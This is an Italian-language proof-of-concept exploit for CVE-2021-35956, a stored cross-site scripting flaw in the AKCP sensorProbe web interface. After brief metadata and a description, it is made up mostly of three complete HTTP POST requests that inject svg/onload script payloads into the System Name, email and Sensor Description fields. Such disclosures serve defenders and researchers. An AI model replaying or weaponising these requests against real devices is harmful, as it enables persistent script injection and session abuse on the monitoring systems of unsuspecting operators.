CVE-2021-35956.

Proof of Concept Exploit per CVE-2021-35956, AKCP sensorProbe - 'Multiple' Cross Site Scripting (XSS).

Titolo Exploit: AKCP sensorProbe - 'Multiple' Cross Site Scripting (XSS).
Data: 07-01-2021.
Autore Exploit: Tyler Butler.
Homepage del fornitore: https://www.akcp.com/.
Link software: https://www.akcp.com/support-center/customer-login/sensorprobe-series-firmware-download/.
Avviso: https://tbutler.org/2021/06/28/cve-2021-35956.
Versione: < SP480-20210624.
CVE: CVE-2021-35956.

Descrizione: Cross-site scripting (XSS) persistente nel webserver embedded di AKCP sensorProbe prima della versione SP480-20210624 consente ad attaccanti remoti autenticati di introdurre JavaScript arbitrario tramite i campi Sensor Description, Email (from/to/cc), System Name e System Location.

1. Cross-Site Scripting persistente tramite Impostazioni di Sistema

POST /system?time=32e004c941f912 HTTP/1.1
Host: [target]
Content-Length: 114
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://[target]
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://[target]/system?time=32e004c941f912
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

_SA01=System+Namer&_SA02=RDC&_SA03=Name<svg/onload=alert`xss`>&_SA04=1&_SA06=0&_SA36=0&_SA37=0&sbt1=Save

2. Cross-Site Scripting persistente tramite Impostazioni Email

POST /mail?time=32e004c941f912 HTTP/1.1
Host: [target]
Content-Length: 162
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://[target]
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://[target]/mail?time=32e004c941f912
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close


[email protected]&[email protected]&[email protected]&[email protected]&_PS05_3=<svg/onload=alert`xxss`>&_PS05_4=&sbt2=Save

3. Cross-Site Scripting persistente tramite Descrizione Sensore

POST /senswatr?index=0&time=32e004c941f912 HTTP/1.1
Host: [target]
Content-Length: 55
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://[target]
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://[target]/senswatr?index=0&time=32e004c941f912
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: CPCookie=sensors=400
Connection: close

_WT00-IX="><svg/onload=alert`xss`>&_WT03-IX=2&sbt1=Save